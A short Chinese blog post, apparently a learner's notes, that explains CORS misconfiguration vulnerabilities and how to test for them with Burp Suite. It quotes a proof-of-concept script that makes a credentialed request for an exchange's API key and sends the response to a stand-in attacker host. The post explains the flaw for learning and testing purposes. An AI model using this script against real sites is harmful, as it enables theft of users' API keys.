CORS小总结

今天偶然知道了有这么一种漏洞,遂在网上找了一些文章了解了一下,顺便做一下总结。

这个漏洞跟同源策略有关,同源策略限制了不同协议、域名、端口的访问。但是因为现在有些网站需要实现一些跨域的功能,所以CORS(跨域资源共享)就这么诞生了。

CORS是为了告诉浏览器,哪些来源的服务器可以访问、读写本站的资源,但是如果来源不受任何限制,就造成了漏洞的产生。

下面以国外大佬的文章作为案例讲解。附上地址和POC:https://xz.aliyun.com/t/2702。

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send();
 
function reqListener() {
    location='//atttacker.net/log?key='+this.responseText;
};

 

这里面的某交易所未对origin进行白名单过滤。导致攻击者将POC放在自己的服务器上的某个页面,诱使受害者点开,受害者点开后,请求了交易所的接口,拿到了api秘钥,然后发回到攻击者的服务器。

这个过程中,问题在于,受害者点开了攻击者的html、请求交易所接口的时候,这个请求是带有 origin: xxxx的,交易所没有验证请求的来源。

 

如何查找这个漏洞呢?

附上:https://www.freebuf.com/column/194652.html

在burpsuite的proxy模块中的Options,选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:foo.example.org的Enable框。

 

cors漏洞 nginx配置 cors漏洞危害_cors漏洞 nginx配置

再接着对某些关键的功能点的请求进行收集就好了,不关键的(如读取一些公开的数据)就没必要做了。这种漏洞跟csrf还是很相似的,同样的csrf也可以通过验证origin进行防御,但是效果会差一些。

结语:学习之路漫漫,今天是情人节,本菜鸡却躲在宿舍写总结。扎心了老铁~~~~~接下来会对近期总结的csrf再写一篇总结。